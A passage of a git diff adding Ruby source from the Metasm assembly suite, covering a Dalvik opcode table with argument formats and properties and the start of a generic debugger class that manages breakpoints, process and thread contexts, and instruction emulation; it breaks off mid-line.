-aget aget_wide aget_object aget_boolean aget_byte aget_char aget_short -aput aput_wide aput_object aput_boolean aput_byte aput_char aput_short -iget iget_wide iget_object iget_boolean iget_byte iget_char iget_short -iput iput_wide iput_object iput_boolean iput_byte iput_char iput_short -sget sget_wide sget_object sget_boolean sget_byte sget_char sget_short -sput sput_wide sput_object sput_boolean sput_byte sput_char sput_short -invoke_virtual invoke_super invoke_direct invoke_static invoke_interface -unused_73 -invoke_virtual_range invoke_super_range invoke_direct_range invoke_static_range invoke_interface_range -unused_79 unused_7a -neg_int not_int neg_long not_long neg_float neg_double -int_to_long int_to_float int_to_double long_to_int long_to_float long_to_double -float_to_int float_to_long float_to_double double_to_int double_to_long -double_to_float int_to_byte int_to_char int_to_short -add_int sub_int mul_int div_int rem_int and_int or_int xor_int shl_int shr_int ushr_int -add_long sub_long mul_long div_long rem_long and_long or_long xor_long shl_long shr_long ushr_long -add_float sub_float mul_float div_float rem_float -add_double sub_double mul_double div_double rem_double -add_int_2addr sub_int_2addr mul_int_2addr div_int_2addr rem_int_2addr -and_int_2addr or_int_2addr xor_int_2addr shl_int_2addr shr_int_2addr ushr_int_2addr -add_long_2addr sub_long_2addr mul_long_2addr div_long_2addr rem_long_2addr -and_long_2addr or_long_2addr xor_long_2addr shl_long_2addr shr_long_2addr ushr_long_2addr -add_float_2addr sub_float_2addr mul_float_2addr div_float_2addr rem_float_2addr -add_double_2addr sub_double_2addr mul_double_2addr div_double_2addr rem_double_2addr -add_int_lit16 rsub_int mul_int_lit16 div_int_lit16 rem_int_lit16 and_int_lit16 or_int_lit16 xor_int_lit16 -add_int_lit8 rsub_int_lit8 mul_int_lit8 div_int_lit8 rem_int_lit8 and_int_lit8 or_int_lit8 xor_int_lit8 -shl_int_lit8 shr_int_lit8 ushr_int_lit8 -unused_e3 unused_e4 unused_e5 unused_e6 unused_e7 unused_e8 unused_e9 unused_ea unused_eb unused_ec -throw_verification_error execute_inline unused_ef invoke_direct_empty unused_f1 -iget_quick iget_wide_quick iget_object_quick iput_quick iput_wide_quick iput_object_quick -invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_quick_range -unused_fc unused_fd unused_fe unused_ff] - - def init_dalvik - @valid_props << :canthrow - @valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, - :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16] - @opcode_list = [] - - OPCODES.each_with_index { |n, b| - op = Opcode.new(n, b) - addop_args(op) - addop_props(op) - @opcode_list << op - } - - raise "Internal error #{@opcode_list.length}" if @opcode_list.length != 256 - end - alias init_latest init_dalvik - - def addop_args(op) - fmt = case op.name - when 'goto' - :fmt10t - when 'nop', 'return_void' - :fmt10x - when 'const_4' - :fmt11n - when 'const_high16' - :fmt21h - when 'const_wide_high16' - :fmt21hh - when 'move_result', 'move_result_wide', 'move_result_object', - 'move_exception', 'return', 'return_wide', - 'return_object', 'monitor_enter', 'monitor_exit', - 'throw' - :fmt11x - when 'move', 'move_wide', 'move_object', 'array_length', - 'neg_int', 'not_int', 'neg_long', 'not_long', - 'neg_float', 'neg_double', 'int_to_long', - 'int_to_float', 'int_to_double', 'long_to_int', - 'long_to_float', 'long_to_double', 'float_to_int', - 'float_to_long', 'float_to_double', 'double_to_int', - 'double_to_long', 'double_to_float', 'int_to_byte', - 'int_to_char', 'int_to_short', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'div_int_2addr', - 'rem_int_2addr', 'and_int_2addr', 'or_int_2addr', - 'xor_int_2addr', 'shl_int_2addr', 'shr_int_2addr', - 'ushr_int_2addr', 'add_long_2addr', 'sub_long_2addr', - 'mul_long_2addr', 'div_long_2addr', 'rem_long_2addr', - 'and_long_2addr', 'or_long_2addr', 'xor_long_2addr', - 'shl_long_2addr', 'shr_long_2addr', 'ushr_long_2addr', - 'add_float_2addr', 'sub_float_2addr', 'mul_float_2addr', - 'div_float_2addr', 'rem_float_2addr', - 'add_double_2addr', 'sub_double_2addr', - 'mul_double_2addr', 'div_double_2addr', - 'rem_double_2addr' - :fmt12x - when 'goto_16' - :fmt20t - when 'goto_32' - :fmt30t - when 'const_string', 'const_class', 'check_cast', - 'new_instance', 'sget', 'sget_wide', 'sget_object', - 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', - 'sput', 'sput_wide', 'sput_object', 'sput_boolean', - 'sput_byte', 'sput_char', 'sput_short' - :fmt21c - when 'const_16', 'const_wide_16' - :fmt21s - when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' - :fmt21t - when 'fill_array_data', 'packed_switch', 'sparse_switch' - :fmt31t - when 'add_int_lit8', 'rsub_int_lit8', 'mul_int_lit8', - 'div_int_lit8', 'rem_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - :fmt22b - when 'instance_of', 'new_array', 'iget', 'iget_wide', - 'iget_object', 'iget_boolean', 'iget_byte', - 'iget_char', 'iget_short', 'iput', 'iput_wide', - 'iput_object', 'iput_boolean', 'iput_byte', - 'iput_char', 'iput_short' - :fmt22c - when 'add_int_lit16', 'rsub_int', 'mul_int_lit16', - 'div_int_lit16', 'rem_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16' - :fmt22s - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le' - :fmt22t - when 'move_from16', 'move_wide_from16', 'move_object_from16' - :fmt22x - when 'cmpl_float', 'cmpg_float', 'cmpl_double', 'cmpg_double', - 'cmp_long', 'aget', 'aget_wide', 'aget_object', - 'aget_boolean', 'aget_byte', 'aget_char', 'aget_short', - 'aput', 'aput_wide', 'aput_object', 'aput_boolean', - 'aput_byte', 'aput_char', 'aput_short', 'add_int', - 'sub_int', 'mul_int', 'div_int', 'rem_int', 'and_int', - 'or_int', 'xor_int', 'shl_int', 'shr_int', 'ushr_int', - 'add_long', 'sub_long', 'mul_long', 'div_long', - 'rem_long', 'and_long', 'or_long', 'xor_long', - 'shl_long', 'shr_long', 'ushr_long', 'add_float', - 'sub_float', 'mul_float', 'div_float', 'rem_float', - 'add_double', 'sub_double', 'mul_double', 'div_double', - 'rem_double' - :fmt23x - when 'const', 'const_wide_32' - :fmt31i - when 'const_string_jumbo' - :fmt31c - when 'move_16', 'move_wide_16', 'move_object_16' - :fmt32x - when 'filled_new_array' - :fmt35ca - when 'invoke_virtual', 'invoke_super', - 'invoke_direct', 'invoke_static', 'invoke_interface' - :fmt35c - when 'filled_new_array_range', 'invoke_virtual_range', - 'invoke_super_range', 'invoke_direct_range', - 'invoke_static_range', 'invoke_interface_range' - :fmt3rc - when 'const_wide' - :fmt51l - when 'throw_verification_error' - :fmt20bc - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - :fmt22cs - when 'invoke_virtual_quick', 'invoke_super_quick' - :fmt35ms - when 'invoke_virtual_quick_range', 'invoke_super_quick_range' - :fmt3rms - when 'execute_inline' - :fmt3inline - when 'invoke_direct_empty' - :fmt35c - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - :fmtUnknown - else - raise "Internal error #{op.name}" - end - - case fmt - when :fmt10x; op.args << :iaa - when :fmt12x; op.args << :ra << :rb - when :fmt11n; op.args << :ra << :ib - when :fmt11x; op.args << :raa - when :fmt10t; op.args << :iaa - when :fmt20t; op.args << :i16 - when :fmt20bc; op.args << :iaa << :u16 - when :fmt21c; op.args << :raa << :u16 - when :fmt22x; op.args << :raa << :r16 - when :fmt21s, :fmt21t; op.args << :raa << :i16 - when :fmt21h; op.args << :raa << :i16_32hi - when :fmt21hh; op.args << :raa << :i16_64hi - when :fmt23x; op.args << :raa << :rbb << :rcc - when :fmt22b; op.args << :raa << :rbb << :icc - when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 - when :fmt22c, :fmt22cs; op.args << :ra << :rb << :u16 - when :fmt30t; op.args << :i32 - when :fmt31t, :fmt31c; op.args << :raa << :u32 - when :fmt32x; op.args << :r16 << :r16 - when :fmt31i; op.args << :raa << :i32 - when :fmt35ca - op.args << :r16 << :rlist5 - when :fmt35c, :fmt35ms - # rlist: - # nr of regs in :ib (max 5) - # regs: :ib.times { reg :i16 & 0xf ; :i16 >>= 4 } - # reg :ra if :ib == 5 - op.args << :m16 << :rlist5 - when :fmt3inline - op.args << :r16 << :rlist4 - when :fmt3rc, :fmt3rms - # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 - op.args << :r16 << :rlist16 - when :fmt51l - # u64 = u16 | (u16 << 16) | ... - op.args << :raa << :u64 - when :fmtUnknown - op.args << :iaa - else - raise "Internal error #{fmt.inspect}" - end - end - - def addop_props(op) - case op.name - when 'nop', 'move', 'move_from16', 'move_16', 'move_wide', - 'move_wide_from16', 'move_wide_16', 'move_object', - 'move_object_from16', 'move_object_16', 'move_result', - 'move_result_wide', 'move_result_object', - 'move_exception', 'const_4', 'const_16', 'const', - 'const_high16', 'const_wide_16', 'const_wide_32', - 'const_wide', 'const_wide_high16', 'fill_array_data', - 'cmpl_float', 'cmpg_float', 'cmpl_double', - 'cmpg_double', 'cmp_long', 'neg_int', 'not_int', - 'neg_long', 'not_long', 'neg_float', 'neg_double', - 'int_to_long', 'int_to_float', 'int_to_double', - 'long_to_int', 'long_to_float', 'long_to_double', - 'float_to_int', 'float_to_long', 'float_to_double', - 'double_to_int', 'double_to_long', 'double_to_float', - 'int_to_byte', 'int_to_char', 'int_to_short', 'add_int', - 'sub_int', 'mul_int', 'and_int', 'or_int', 'xor_int', - 'shl_int', 'shr_int', 'ushr_int', 'add_long', - 'sub_long', 'mul_long', 'and_long', 'or_long', - 'xor_long', 'shl_long', 'shr_long', 'ushr_long', - 'add_float', 'sub_float', 'mul_float', 'div_float', - 'rem_float', 'add_double', 'sub_double', 'mul_double', - 'div_double', 'rem_double', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'and_int_2addr', - 'or_int_2addr', 'xor_int_2addr', 'shl_int_2addr', - 'shr_int_2addr', 'ushr_int_2addr', 'add_long_2addr', - 'sub_long_2addr', 'mul_long_2addr', 'and_long_2addr', - 'or_long_2addr', 'xor_long_2addr', 'shl_long_2addr', - 'shr_long_2addr', 'ushr_long_2addr', 'add_float_2addr', - 'sub_float_2addr', 'mul_float_2addr', 'div_float_2addr', - 'rem_float_2addr', 'add_double_2addr', - 'sub_double_2addr', 'mul_double_2addr', - 'div_double_2addr', 'rem_double_2addr', 'add_int_lit16', - 'rsub_int', 'mul_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16', 'add_int_lit8', - 'rsub_int_lit8', 'mul_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - # normal opcode, continues to next, nothing raised - when 'const_string', 'const_string_jumbo', 'const_class', - 'monitor_enter', 'monitor_exit', 'check_cast', - 'instance_of', 'array_length', 'new_instance', - 'new_array', 'filled_new_array', - 'filled_new_array_range', 'aget', 'aget_boolean', - 'aget_byte', 'aget_char', 'aget_short', 'aget_wide', - 'aget_object', 'aput', 'aput_boolean', 'aput_byte', - 'aput_char', 'aput_short', 'aput_wide', 'aput_object', - 'iget', 'iget_boolean', 'iget_byte', 'iget_char', - 'iget_short', 'iget_wide', 'iget_object', 'iput', - 'iput_boolean', 'iput_byte', 'iput_char', 'iput_short', - 'iput_wide', 'iput_object', 'sget', 'sget_boolean', - 'sget_byte', 'sget_char', 'sget_short', 'sget_wide', - 'sget_object', 'sput', 'sput_boolean', 'sput_byte', - 'sput_char', 'sput_short', 'sput_wide', 'sput_object', - 'div_int', 'rem_int', 'div_long', 'rem_long', - 'div_int_2addr', 'rem_int_2addr', 'div_long_2addr', - 'rem_long_2addr', 'div_int_lit16', 'rem_int_lit16', - 'div_int_lit8', 'rem_int_lit8' - op.props[:canthrow] = true - when 'invoke_virtual', 'invoke_virtual_range', 'invoke_super', - 'invoke_super_range', 'invoke_direct', - 'invoke_direct_range', 'invoke_static', - 'invoke_static_range', 'invoke_interface', - 'invoke_interface_range' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'return_void', 'return', 'return_wide', 'return_object' - op.props[:setip] = true - op.props[:stopexec] = true - when 'throw' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'goto', 'goto_16', 'goto_32' - op.props[:setip] = true - op.props[:stopexec] = true - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le', - 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', - 'if_lez' - op.props[:setip] = true - when 'packed_switch', 'sparse_switch' - op.props[:setip] = true # if no table match, nostopexec - op.props[:setip] = true - when 'throw_verification_error' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'execute_inline' - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - op.props[:canthrow] = true - when 'invoke_virtual_quick', 'invoke_virtual_quick_range', - 'invoke_super_quick', 'invoke_super_quick_range', - 'invoke_direct_empty' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - op.props[:stopexec] = true - else - raise "Internal error #{op.name}" - end - end -end -end - diff --git a/lib/metasm/metasm/debug.rb b/lib/metasm/metasm/debug.rb new file mode 100644 index 0000000000..26e88df103 --- /dev/null +++ b/lib/metasm/metasm/debug.rb @@ -0,0 +1,1445 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +module Metasm +# this class implements a high-level debugging API (abstract superclass) +class Debugger + class Breakpoint + attr_accessor :address, + # context where the bp was defined + :pid, :tid, + # bool: oneshot ? + :oneshot, + # current bp state: :active, :inactive (internal use), :disabled (user-specified) + :state, + # type: type of breakpoint (:bpx = soft, :hwbp = hard, :bpm = memory) + :type, + # Expression if this is a conditionnal bp + # may be a Proc, String or Expression, evaluated every time the breakpoint hits + # if it returns 0 or false, the breakpoint is ignored + :condition, + # Proc to run if this bp has a callback + :action, + # Proc to run to emulate the overwritten instr behavior + # used to avoid unset/singlestep/re-set, more multithread friendly + # may be a DecodedInstruction for lazy initialization, see Debugger#init_bpx/has_emul_instr(bpx) + :emul_instr, + # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) + :internal, + # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) + # shared is an array of Breakpoints, the same Array object in all shared breakpoints + # owner is a hash key => shared (dbg.breakpoint) + # key is an identifier for the Bp class in owner (bp.address) + :hash_shared, :hash_owner, :hash_key, + # user-defined breakpoint-specific stuff + :userdata + + # append the breakpoint to hash_owner + hash_shared + def add(owner=@hash_owner) + @hash_owner = owner + @hash_key ||= @address + return add_bpm if @type == :bpm + if pv = owner[@hash_key] + @hash_shared = pv.hash_shared + @internal ||= pv.internal + @emul_instr ||= pv.emul_instr + else + owner[@hash_key] = self + @hash_shared = [] + end + @hash_shared << self + end + + # register a bpm: add references to all page start covered in @hash_owner + def add_bpm + m = @address + @internal[:len] + a = @address & -0x1000 + @hash_shared = [self] + + @internal ||= {} + @internal[:orig_prot] ||= {} + while a < m + if pv = @hash_owner[a] + if not pv.hash_shared.include?(self) + pv.hash_shared.concat @hash_shared-pv.hash_shared + @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } + end + @internal[:orig_prot][a] = pv.internal[:orig_prot][a] + else + @hash_owner[a] = self + end + a += 0x1000 + end + end + + # delete the breakpoint from hash_shared, and hash_owner if empty + def del + return del_bpm if @type == :bpm + @hash_shared.delete self + if @hash_shared.empty? + @hash_owner.delete @hash_key + elsif @hash_owner[@hash_key] == self + @hash_owner[@hash_key] = @hash_shared.first + end + end + + # unregister a bpm + def del_bpm + m = @address + @internal[:len] + a = @address & -0x1000 + @hash_shared.delete self + while a < m + pv = @hash_owner[a] + if pv == self + if opv = @hash_shared.find { |bpm| + bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a + } + @hash_owner[a] = opv + else + @hash_owner.delete a + + # split hash_shared on disjoint ranges + prev_shared = @hash_shared.find_all { |bpm| + bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a + } + + prev_shared.each { |bpm| + bpm.hash_shared = prev_shared + @hash_shared.delete bpm + } + end + end + a += 0x1000 + end + end + end + + # per-process data + attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, + :modulemap, :symbols, :symbols_len + # per-thread data + attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, + :run_args, :breakpoint_cause + + # which/where per-process/thread stuff is stored + attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list + + # global debugger callbacks, called whenever such event occurs + attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, + :callback_exception, :callback_newthread, :callback_endthread, + :callback_newprocess, :callback_endprocess, :callback_loadlibrary + + # global switches, specify wether to break on exception/thread event + # can be a Proc that is evaluated (arg = info parameter of the evt_func) + # trace_children is a bool to tell if we should debug subprocesses spawned + # by the target + attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, + :trace_children + + # link to the user-interface object if available + attr_accessor :gui + + # initializes the disassembler internal data - subclasses should call super() + def initialize + @pid_stuff = {} + @tid_stuff = {} + @log_proc = nil + @state = :dead + @info = '' + # stuff saved when we switch pids + @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, + :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, + :dead_process] + @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, + :run_method, :run_args, :breakpoint_cause, :dead_thread] + @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } + @callback_newprocess = lambda { |h| log "process #{@pid} attached" } + @callback_endprocess = lambda { |h| log "process #{@pid} died" } + initialize_newpid + initialize_newtid + end + + def dasm; disassembler; end + + def shortname; self.class.name.split('::').last.downcase; end + + attr_reader :pid + # change pid and associated cached data + # this will also re-load the previously selected tid for this process + def pid=(npid) + return if npid == pid + raise "invalid pid" if not check_pid(npid) + swapout_pid + @pid = npid + swapin_pid + end + alias set_pid pid= + + attr_reader :tid + def tid=(ntid) + return if ntid == tid + raise "invalid tid" if not check_tid(ntid) + swapout_tid + @tid = ntid + swapin_tid + end + alias set_tid tid= + + # creates stuff related to a new process being debugged + # includes disassembler, modulemap, symbols, breakpoints + # subclasses should check that @pid maps to a real process and raise() otherwise + # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu + def initialize_newpid + return if not pid + @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } + + @symbols = {} + @symbols_len = {} + @modulemap = {} + @breakpoint = {} + @breakpoint_memory = {} + @tid_stuff = {} + initialize_cpu + initialize_memory + initialize_disassembler + end + + # subclasses should check that @tid maps to a real thread and raise() otherwise + def initialize_newtid + return if not tid + @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } + + @state = :stopped + @info = 'new' + @breakpoint_thread = {} + gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) + end + + # initialize the disassembler from @cpu/@memory + def initialize_disassembler + return if not @memory or not @cpu + @disassembler = Shellcode.decode(@memory, @cpu).disassembler + gui.swapin_pid if gui.respond_to?(:swapin_pid) + end + + # we're switching focus from one pid to another, save current pid data + def swapout_pid + return if not pid + swapout_tid + gui.swapout_pid if gui.respond_to?(:swapout_pid) + @pid_stuff[@pid] ||= {} + @pid_stuff_list.each { |fld| + @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") + } + end + + # we're switching focus from one tid to another, save current tid data + def swapout_tid + return if not tid + gui.swapout_tid if gui.respond_to?(:swapout_tid) + @tid_stuff[@tid] ||= {} + @tid_stuff_list.each { |fld| + @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") + } + end + + # we're switching focus from one pid to another, load current pid data + def swapin_pid + return initialize_newpid if not @pid_stuff[@pid] + + @pid_stuff_list.each { |fld| + instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) + } + swapin_tid + gui.swapin_pid if gui.respond_to?(:swapin_pid) + end + + # we're switching focus from one tid to another, load current tid data + def swapin_tid + return initialize_newtid if not @tid_stuff[@tid] + + @tid_stuff_list.each { |fld| + instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) + } + gui.swapin_tid if gui.respond_to?(:swapin_tid) + end + + # delete references to the current pid + # switch to another pid, set @state = :dead if none available + def del_pid + @pid_stuff.delete @pid + if @pid = @pid_stuff.keys.first + swapin_pid + else + @state = :dead + @info = '' + @tid = nil + end + end + + # delete references to the current thread + def del_tid + @tid_stuff.delete @tid + if @tid = @tid_stuff.keys.first + swapin_tid + else + del_tid_notid + end + end + + # wipe the whole process when no TID is left + # XXX we may have a pending evt_newthread... + def del_tid_notid + del_pid + end + + + # change the debugger to a specific pid/tid + # if given a block, run the block and then restore the original pid/tid + # pid may be an object that respond to #pid/#tid + def switch_context(npid, ntid=nil, &b) + if npid.respond_to?(:pid) + ntid ||= npid.tid + npid = npid.pid + end + oldpid = pid + oldtid = tid + set_pid npid + set_tid ntid if ntid + if b + # shortcut begin..ensure overhead + return b.call if oldpid == pid and oldtid == tid + + begin + b.call + ensure + set_pid oldpid + set_tid oldtid + end + end + end + alias set_context switch_context + + # iterate over all pids, yield in the context of this pid + def each_pid(&b) + # ensure @pid is last, so that we finish in the current context + lst = @pid_stuff.keys - [@pid] + lst << @pid + return lst if not b + lst.each { |p| + set_pid p + b.call + } + end + + # iterate over all tids of the current process, yield in its context + def each_tid(&b) + lst = @tid_stuff.keys - [@tid] + lst << @tid + return lst if not b + lst.each { |t| + set_tid t rescue next + b.call + } + end + + # iterate over all tids of all pids, yield in their context + def each_pid_tid(&b) + each_pid { each_tid { b.call } } + end + + + # create a thread/process breakpoint + # addr can be a numeric address, an Expression that is resolved, or + # a String that is parsed+resolved + # info's keys are set to the breakpoint + # standard keys are :type, :oneshot, :condition, :action + # returns the Breakpoint object + def add_bp(addr, info={}) + info[:pid] ||= @pid + # dont define :tid for bpx, otherwise on del_bp we may switch_context to this thread that may not be stopped -> cant ptrace_write + info[:tid] ||= @tid if info[:pid] == @pid and info[:type] == :hwbp + + b = Breakpoint.new + info.each { |k, v| + b.send("#{k}=", v) + } + + switch_context(b) { + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + b.address = addr + + b.hash_owner ||= case b.type + when :bpm; @breakpoint_memory + when :hwbp; @breakpoint_thread + when :bpx; @breakpoint + end + # XXX bpm may hash_share with an :active, but be larger and still need enable() + b.add + + enable_bp(b) if not info[:state] + } + + b + end + + # remove a breakpoint + def del_bp(b) + disable_bp(b) + b.del + end + + # activate an inactive breakpoint + def enable_bp(b) + return if b.state == :active + if not b.hash_shared.find { |bb| bb.state == :active } + switch_context(b) { + if not b.internal + init_bpx(b) if b.type == :bpx + b.internal ||= {} + b.hash_shared.each { |bb| bb.internal ||= b.internal } + end + do_enable_bp(b) + } + end + b.state = :active + end + + # deactivate an active breakpoint + def disable_bp(b, newstate = :inactive) + return if b.state != :active + b.state = newstate + return if b.hash_shared.find { |bb| bb.state == :active } + switch_context(b) { + do_disable_bp(b) + } + end + + + # delete all breakpoints defined in the current thread + def del_all_breakpoints_thread + @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + end + + # delete all breakpoints for the current process and all its threads + def del_all_breakpoints + each_tid { del_all_breakpoints_thread } + @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } + end + + # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp + def do_enable_bp(b) + if b.type == :bpm; do_enable_bpm(b) + else @cpu.dbg_enable_bp(self, b) + end + end + + # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp + def do_disable_bp(b) + if b.type == :bpm; do_disable_bpm(b) + else @cpu.dbg_disable_bp(self, b) + end + end + + # called in the context of the target when a bpx is to be initialized + # may (lazily) initialize b.emul_instr for virtual singlestep + def init_bpx(b) + # dont bother setting stuff up if it is never to be used + return if b.oneshot and not b.condition + + # lazy setup of b.emul_instr: delay building emulating lambda to if/when actually needed + # we still need to disassemble now and update @disassembler, before we patch the memory for the bpx + di = init_bpx_disassemble(b.address) + b.hash_shared.each { |bb| bb.emul_instr = di } + end + + # retrieve the di at a given address, disassemble if needed + # TODO make it so this doesn't interfere with other 'real' disassembler later commands, eg disassemble() or disassemble_fast_deep() + # (right now, when they see the block already present they stop all processing) + def init_bpx_disassemble(addr) + @disassembler.disassemble_fast_block(addr) + @disassembler.di_at(addr) + end + + # checks if bp has an emul_instr + # do the lazy initialization if needed + def has_emul_instr(bp) + if bp.emul_instr.kind_of?(DecodedInstruction) + if di = bp.emul_instr and fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and + fdbd.all? { |k, v| (k.kind_of?(Symbol) or k.kind_of?(Indirection)) and + k != :incomplete_binding and v != Expression::Unknown } + # setup a lambda that will mimic, using the debugger primitives, the actual execution of the instruction + bp.emul_instr = lambda { + fdbd.map { |k, v| + k = Indirection[emulinstr_resv(k.pointer), k.len] if k.kind_of?(Indirection) + [k, emulinstr_resv(v)] + }.each { |k, v| + if k.to_s =~ /flags?_(.+)/i + f = $1.downcase.to_sym + set_flag_value(f, v) + elsif k.kind_of?(Symbol) + set_reg_value(k, v) + elsif k.kind_of?(Indirection) + memory_write_int(k.pointer, v, k.len) + end + } + } + bp.hash_shared.each { |bb| bb.emul_instr = bp.emul_instr } + else + bp.hash_shared.each { |bb| bb.emul_instr = nil } + end + end + + bp.emul_instr + end + + def emulinstr_resv(e) + r = e + flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/i } + if flags.first + bd = {} + flags.each { |f| + f.to_s =~ /flags?_(.+)/i + bd[f] = get_flag_value($1.downcase.to_sym) + } + r = r.bind(bd) + end + resolve(r) + end + + # sets a breakpoint on execution + def bpx(addr, oneshot=false, cond=nil, &action) + h = { :type => :bpx } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + # sets a hardware breakpoint + # mtype in :r :w :x + # mlen is the size of the memory zone to cover + # mlen may be constrained by the architecture + def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) + h = { :type => :hwbp } + h[:hash_owner] = @breakpoint_thread + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + mtype = mtype.to_sym + h[:hash_key] = [addr, mtype, mlen] + h[:internal] = { :type => mtype, :len => mlen } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + # sets a memory breakpoint + # mtype is :r :w :rw or :x + # mlen is the size of the memory zone to cover + def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) + h = { :type => :bpm } + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len + h[:internal] = { :type => mtype, :len => mlen } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + + # define the lambda to use to log stuff + def set_log_proc(l=nil, &b) + @log_proc = l || b + end + + # show information to the user, uses log_proc if defined + def log(*a) + if @log_proc + a.each { |aa| @log_proc[aa] } + else + puts(*a) if $VERBOSE + end + end + + + # marks the current cache of memory/regs invalid + def invalidate + @memory.invalidate if @memory + end + + # invalidates the EncodedData backend for the dasm sections + def dasm_invalidate + disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to?(:invalidate) } if disassembler + end + + # return all breakpoints set on a specific address (or all bp) + def all_breakpoints(addr=nil) + ret = [] + if addr + if b = @breakpoint[addr] + ret |= b.hash_shared + end + else + @breakpoint.each_value { |bb| ret |= bb.hash_shared } + end + + @breakpoint_thread.each_value { |bb| + next if addr and bb.address != addr + ret |= bb.hash_shared + } + + @breakpoint_memory.each_value { |bb| + next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) + ret |= bb.hash_shared + } + + ret + end + + # return on of the breakpoints at address addr + def find_breakpoint(addr=nil, &b) + return @breakpoint[addr] if @breakpoint[addr] and (not b or b.call(@breakpoint[addr])) + all_breakpoints(addr).find { |bp| b.call bp } + end + + + # to be called right before resuming execution of the target + # run_m is the method that should be called if the execution is stopped + # due to a side-effect of the debugger (bpx with wrong condition etc) + # returns nil if the execution should be avoided (just deleted the dead thread/process) + def check_pre_run(run_m, *run_a) + if @dead_process + del_pid + return + elsif @dead_thread + del_tid + return + elsif @state == :running + return + end + @cpu.dbg_check_pre_run(self) if 